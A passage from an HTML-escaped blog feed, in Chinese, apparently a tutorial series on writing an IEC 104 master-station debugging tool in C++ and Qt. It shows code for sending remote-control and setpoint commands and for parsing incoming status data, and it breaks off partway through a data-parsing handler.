&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;l=typeStr.indexOf(&amp;#39;(&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;r&amp;nbsp;=&amp;nbsp;typeStr.indexOf(&amp;#39;)&amp;#39;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;type&amp;nbsp;=&amp;nbsp;typeStr.mid(l+1,r-l-1).toInt();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;switch&amp;nbsp;(type)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;C_SC_NA_1:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;selectCommand&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(cmd){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;state&amp;nbsp;=&amp;nbsp;MessageReminder(&amp;quot;选择单点遥控执行方式&amp;quot;,&amp;quot;选择执行&amp;quot;,&amp;quot;立即执行&amp;quot;,&amp;quot;取消&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(state==1)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;selectCommand&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if(state==-1)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if(!MessageReminder(&amp;quot;从站返回单点遥控激活确认&amp;quot;,&amp;quot;确认&amp;quot;,&amp;quot;取消&amp;quot;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SingleCommand&amp;nbsp;cmd&amp;nbsp;=&amp;nbsp;SingleCommand_create(nullptr,&amp;nbsp;dataAddr,&amp;nbsp;value.toBool(),&amp;nbsp;selectCommand,&amp;nbsp;IEC60870_QUALITY_GOOD);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_sendProcessCommand(m_iec104con,&amp;nbsp;(IEC60870_5_TypeID)type,&amp;nbsp;(CS101_CauseOfTransmission)cause,dataAddr,&amp;nbsp;(InformationObject)cmd);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SingleCommand_destroy(cmd);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(selectCommand)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;showMessageSignal(QString(&amp;quot;类型：%1，执行方式：选择执行，原因：%2，地址：%3，值：%4，时间：%5&amp;quot;).arg(typeStr).arg(causeStr).arg(dataAddr).arg(value.toBool()).arg(time),0);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;showMessageSignal(QString(&amp;quot;类型：%1，执行方式：立即执行，原因：%2，地址：%3，值：%4，时间：%5&amp;quot;).arg(typeStr).arg(causeStr).arg(dataAddr).arg(value.toBool()).arg(time),0);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;单点遥控运行演示&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910140806175748448672288.png&quot; alt=&quot;在这里插入图片描述&quot; style=&quot;border-style: none; box-sizing: border-box; margin: 0px; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 18px; line-height: 28px; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t3&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;&lt;a id=&quot;30x30_43&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;3.&lt;a href=&quot;https://so.csdn.net/so/search?q=%E5%BD%92%E4%B8%80%E5%8C%96&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-view=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E5%BD%92%E4%B8%80%E5%8C%96&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;归一化\&amp;quot;}&amp;quot;}&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E5%BD%92%E4%B8%80%E5%8C%96&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;归一化\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;归一化&quot; data-pretit=&quot;归一化&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;归一化&lt;/a&gt;遥调设置（0x30）&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;核心代码示例：&lt;/p&gt;&lt;pre data-index=&quot;1&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;&amp;nbsp;case&amp;nbsp;C_SE_NA_1:
&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QVariant&amp;nbsp;value&amp;nbsp;=&amp;nbsp;sendfui-&amp;gt;valueEdit-&amp;gt;text();&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;	MeasuredValueNormalized&amp;nbsp;cmd&amp;nbsp;=&amp;nbsp;MeasuredValueNormalized_create(nullptr,&amp;nbsp;dataAddr,value.toFloat(),&amp;nbsp;IEC60870_QUALITY_GOOD);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS104_Connection_sendProcessCommand(m_iec104con,&amp;nbsp;(IEC60870_5_TypeID)type,&amp;nbsp;(CS101_CauseOfTransmission)cause,dataAddr,&amp;nbsp;(InformationObject)cmd);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MeasuredValueNormalized_destroy(cmd);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;showMessageSignal(QString(&amp;quot;类型：%1，原因：%2，地址：%3，值：%4，时间：%5&amp;quot;).arg(typeStr).arg(causeStr).arg(dataAddr).arg(value.toFloat()).arg(time),0);}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;归一化值遥调设置运行演示&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910140806175748448684799.png&quot; alt=&quot;在这里插入图片描述&quot; style=&quot;border-style: none; box-sizing: border-box; margin: 0px; max-width: 100%;&quot;/&gt;&lt;/p&gt;&lt;h3 style=&quot;box-sizing: border-box; color: rgb(79, 79, 79); margin: 24px 0px 8px; font-size: 18px; line-height: 28px; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;&lt;a name=&quot;t4&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;&lt;a id=&quot;4_60&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219);&quot;&gt;&lt;/a&gt;4.总结&lt;/h3&gt;&lt;p style=&quot;box-sizing: border-box; margin-top: 0px; margin-bottom: 16px; font-size: medium; color: rgb(77, 77, 77); line-height: 26px; overflow: auto hidden; font-family: -apple-system, &amp;quot;SF UI Text&amp;quot;, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, sans-serif; font-variant-ligatures: no-common-ligatures; text-wrap-mode: wrap;&quot;&gt;本章主要描述IEC104主站软件遥控、遥调功能和部分核心代码，其它&lt;a href=&quot;https://so.csdn.net/so/search?q=%E7%B1%BB%E5%9E%8B%E6%A0%87%E8%AF%86&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-view=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E7%B1%BB%E5%9E%8B%E6%A0%87%E8%AF%86&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;类型标识\&amp;quot;}&amp;quot;}&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E7%B1%BB%E5%9E%8B%E6%A0%87%E8%AF%86&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;类型标识\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;类型标识&quot; data-pretit=&quot;类型标识&quot; style=&quot;box-sizing: border-box; color: rgb(78, 161, 219); text-decoration-line: none;&quot;&gt;类型标识&lt;/a&gt;遥控遥调方法类似。&lt;br style=&quot;box-sizing: border-box;&quot;/&gt;&lt;span style=&quot;font-weight: 700; box-sizing: border-box;&quot;&gt;下期分享IEC104主站调试软件总召唤、时钟同步功能。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 10 Sep 2025 14:05:00 +0800</pubDate></item><item><title>基于C++和Qt开发IEC104规约主站调试软件（第三章）</title><link>http://blog.write.yingkecut.cn/?id=28</link><description>&lt;div class=&quot;toc&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;h4&gt;第三章：IEC104主站解析遥信、遥测数据&lt;/h4&gt;&lt;ul class=&quot; list-paddingleft-2&quot;&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#10x01_6&quot; target=&quot;_self&quot;&gt;1.解析单点遥信数据（类型标识0x01）&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#20x0E0x24_69&quot; target=&quot;_self&quot;&gt;2.解析短浮点遥测数据（类型标识0x0E,0x24）&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#3_124&quot; target=&quot;_self&quot;&gt;3.打印报文和解析后的数据&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#4_168&quot; target=&quot;_self&quot;&gt;4.运行演示&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;file:///C:/Users/28795/Desktop/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9%20(2)/test.html#5_170&quot; target=&quot;_self&quot;&gt;5.总结&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;开发成果展示：&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://live.csdn.net/v/473582&quot; rel=&quot;nofollow&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;最终开发成果&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;IEC104通讯规约知识学习：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;上一章内容回顾：&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://blog.csdn.net/liangwwe0/article/details/147247832?spm=1011.2415.3001.5331&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;IEC104主站软件界面设计和连接104从站&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;当从站发送遥信、遥测数据时，程序会调用回调函数（asduReceivedHandler）。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;10x01_6&quot;&gt;&lt;/a&gt;1.解析单点遥信数据（&lt;a href=&quot;https://so.csdn.net/so/search?q=%E7%B1%BB%E5%9E%8B%E6%A0%87%E8%AF%86&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E7%B1%BB%E5%9E%8B%E6%A0%87%E8%AF%86&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;类型标识\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;类型标识&quot; data-pretit=&quot;类型标识&quot;&gt;类型标识&lt;/a&gt;0x01）&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;代码示例：&lt;/p&gt;&lt;pre data-index=&quot;0&quot; class=&quot;prism-highlight prism-language-cpp&quot;&gt;bool&amp;nbsp;MainWindow::asduReceivedHandler(void&amp;nbsp;*parameter,&amp;nbsp;int&amp;nbsp;address,&amp;nbsp;CS101_ASDU&amp;nbsp;asdu){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(parameter==nullptr)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MainWindow&amp;nbsp;*that&amp;nbsp;=&amp;nbsp;(MainWindow*)parameter;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//类型标识
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IEC60870_5_TypeID&amp;nbsp;&amp;nbsp;typeId&amp;nbsp;=&amp;nbsp;CS101_ASDU_getTypeID(asdu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//数据数量
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;int&amp;nbsp;nums&amp;nbsp;=&amp;nbsp;&amp;nbsp;CS101_ASDU_getNumberOfElements(asdu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//传输原因
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CS101_CauseOfTransmission&amp;nbsp;cause&amp;nbsp;=&amp;nbsp;CS101_ASDU_getCOT(asdu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;time=&amp;quot;无&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QualityDescriptor&amp;nbsp;qu;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;quStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//传输原因转字符串
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;causeStr&amp;nbsp;=&amp;nbsp;that-&amp;gt;m_causeHash.value(cause);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(causeStr.isEmpty())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;causeStr=QString(&amp;quot;未知(%1)&amp;quot;).arg(cause);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;QString&amp;nbsp;typeStr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(typeId==&amp;nbsp;C_IC_NA_1)&amp;nbsp;{//响应总召唤
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(cause==&amp;nbsp;CS101_COT_ACTIVATION_CON)&amp;nbsp;//激活确认
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(&amp;quot;总召激活确认&amp;quot;,1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if&amp;nbsp;(cause&amp;nbsp;==&amp;nbsp;CS101_COT_ACTIVATION_TERMINATION)&amp;nbsp;//激活停止
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(&amp;quot;总召结束，激活停止&amp;quot;,1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;if(typeId&amp;nbsp;==M_SP_NA_1){&amp;nbsp;//单点遥信（不带时标）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;value;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time&amp;nbsp;=&amp;nbsp;&amp;quot;无&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;typeStr&amp;nbsp;=&amp;quot;无时标单点遥信&amp;quot;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//按数据量逐个解析数据
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;(int&amp;nbsp;i&amp;nbsp;=&amp;nbsp;0;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;nums;&amp;nbsp;i++)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SinglePointInformation&amp;nbsp;io&amp;nbsp;=(SinglePointInformation)&amp;nbsp;CS101_ASDU_getElement(asdu,&amp;nbsp;i);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(io==nullptr){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;emit&amp;nbsp;that-&amp;gt;showMessageSignal(QString(&amp;quot;解析%1数据错误,序号=%2&amp;quot;).arg(typeStr).arg(i),-1);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;continue;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//数据品质
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;qu&amp;nbsp;=&amp;nbsp;SinglePointInformation_getQuality(io);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr&amp;nbsp;=&amp;nbsp;that-&amp;gt;m_quMap.value(qu);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(quStr.isEmpty())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;quStr=QString(&amp;quot;异常(0x%1)&amp;quot;).arg(qu,2,16,QLatin1Char(&amp;#39;0&amp;#39;));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//数据地址
